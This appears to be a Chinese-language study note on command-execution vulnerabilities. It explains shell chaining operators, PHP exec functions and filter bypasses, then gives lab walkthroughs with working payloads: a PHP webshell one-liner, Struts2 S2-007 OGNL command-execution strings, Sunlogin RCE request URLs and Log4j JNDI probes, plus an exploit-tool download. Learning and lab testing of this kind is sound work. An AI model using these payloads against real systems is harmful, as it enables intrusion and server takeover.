一、概述
命令執行(RCE):應用有時需要調用一些執行系統命令的函數,如php中的system,exec,shell exec,passthru,popen,proc popen等,當用戶能控制這些函數的參數時,就可以將惡意系統命令拼接到正常命令中,從而造成命令執行攻擊,這就是命令執行漏洞。
二、利用條件
1 應用調用執行系統命令的函數
2 將用戶輸入作為系統精靈的參數拼接到命令行中
3 沒有對用戶輸入進行過濾
三、漏洞分類
1 代碼層過濾不嚴
商業應用的一些核心代碼封裝在二進制文件中,在web應用中通過system函數來調用:
system("/bin/program--arg $arg");
2 系統的漏洞造成命令注入
比如:bash破殼漏洞 (cve-2014-6271)
3 調用的第三方組件存在代碼執行漏洞
如wordpress中用來處理圖片的imagemagick組件
java中的命令執行漏洞(struts2/elasticsearchgroovy等)
thinkphp命令執行
4 遠程命令執行漏洞(執行的是命令)
指 用戶通過瀏覽器提交執行操作命令,由于服務器端,沒有針對執行函數做過濾,就執行了惡意命令。
5 遠程代碼執行漏洞(執行的是代碼)
也叫代碼注入漏洞,指用戶通過瀏覽器提交執行惡意腳本代碼,執行惡意構造的腳本代碼
三、命令執行漏洞攻擊
命令連接符(windows)
| || & && 的區別:
& :無論左邊還是false還是true,右邊都會執行(可以同時執行多條命令)
&&: 左邊錯誤,右邊也不執行
| :都為true,只執行右邊的命令
|| : 左邊為false,才會執行右邊的
命令連接符(Linux)
& : 后臺運行( 殺進程命令:kill -s 9)
; :連接符
&& : 左邊的執行成功后,右邊的才會執行
|| : 左邊錯,執行右邊
五、PHP執行系統命令內置函數
system()
exec()
shell_exec()
passthru()
pcntl_exec()
popen()
proc_open()
六、繞過方式
注意點:在Linux下,passwd是命令,/etc/passwd是文件
情景一:路徑被過濾
# 使用通配符
* :多個
? : 一個
# 特殊方式
# /'
# 未初始化變量 $a(和空格的作用類似)
cat$a /etc$a/passwd$a
七、pikachu靶場測試
命令執行漏洞
# 輸入
| dir
代碼執行漏洞
# 輸入
system("ipconfig");
代碼執行漏洞-寫入木馬示例
# cmd示例:
echo "<?php @eval($_POST['cmd'])?>;" > a.php
七、漏洞復現-struts2-S2-007
- 使用靶場:https://vulhub.org/
- 靶場搭建文檔:https://vulhub.org/#/docs/
- 漏洞復現文檔:
# 原理參考 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html當配置了驗證規則 `<ActionName>-validation.xml` 時,若類型驗證轉換出錯,后端默認會將用戶提交的表單值通過字符串拼接,然后執行一次 OGNL 表達式解析并返回。例如這里有一個 UserAction:```java
(...)
public class UserAction extends ActionSupport {private Integer age;private String name;private String email;(...)
然后配置有 UserAction-validation.xml:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE validators PUBLIC"-//OpenSymphony Group//XWork Validator 1.0//EN""http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators><field name="age"><field-validator type="int"><param name="min">1</param><param name="max">150</param></field-validator></field>
</validators>
當用戶提交 age 為字符串而非整形數值時,后端用代碼拼接 "'" + value + "'"
然后對其進行 OGNL 表達式解析。要成功利用,只需要找到一個配置了類似驗證規則的表單字段使之轉換出錯,借助類似 SQLi 注入單引號拼接的方式即可注入任意 OGNL 表達式。
因為受影響版本為 Struts2 2.0.0 - Struts2 2.2.3,所以這里給出繞過安全配置進行命令執行的 Payload(彈計算器,無法在本項目環境下運行):
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@java.lang.Runtime@getRuntime().exec("open /Applications/Calculator.app")) + '
Exploit
@rickgray 在原文中只給了彈計算器的POC,我給出執行任意代碼的EXP:
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
將Exp傳入可以利用的輸入框(age),得到命令執行結果:
25,0-1 88%
- 復現過程:- 啟動docker容器:`docker-compose up -d`- 查看dock容器啟動端口:`docker ps`- 查看dock容器啟動端口:訪問8080端口- 傳遞文檔中的參數編碼并抓包- <br />
```shell
# url編碼網址:https://www.qianbo.com.cn/Tool/Url-Encode.html
# 源
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '#編碼后結果
'%20%2B%20(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('ls').getInputStream()))%20%2B%20'
- 結果:
七、向日葵漏洞
版本:11.0.0.33162
啟動向日葵后會啟動一個4萬以上的端口,通過nmap可以掃描出。
獲取cookie網址:ip:端口cgi-bin/rpc?action=verify-haras(verify_string:參數值)
#注入:
http://xx.xx.xx.xx:xxxxx/check?cmd=ping..%26c:%26%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2Fwhoami
或
http://xx.xx.xx.xx:xxxxx/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+whoami請求包Cookie格式:
Cookie:CID=verify_string參數值
八、log4j靶場檢測
靶場搭建
# 拉取容器
docker pull vulfocus/log4j2-rce-2021-12-09
# 啟動
docker run -tid -p 8080:8080 vulfocus/log4j2-rce-2021-12-09
# 查看狀態
docker ps
檢測漏洞
# url編碼網址:https://www.qianbo.com.cn/Tool/Url-Encode.html
命令:${jndi:ldap://域名/exp}
# 在http://www.dnslog.cn/準備一個隨機url
http://varin.cn:8080/
# 步驟:
點擊?????后在url添加
http://varin.cn:8080/hello?payload=${jndi:ldap://xl4nrl.dnslog.cn/exp}
# 將此進行url編碼:${jndi:ldap://xl4nrl.dnslog.cn/exp}
結果為:%24%7Bjndi%3Aldap%3A%2F%2Fxl4nrl.dnslog.cn%2Fexp%7D
# 重新拼接后并訪問:
http://varin.cn:8080/hello?payload=%24%7Bjndi%3Aldap%3A%2F%2Fxl4nrl.dnslog.cn%2Fexp%7D
訪問后結果:
有回顯,存在漏洞
擴展
- 工具下載
# 工具:JNDI-Injection-Exploit v1.0
# 下載地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
# kali 下載:
wget https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar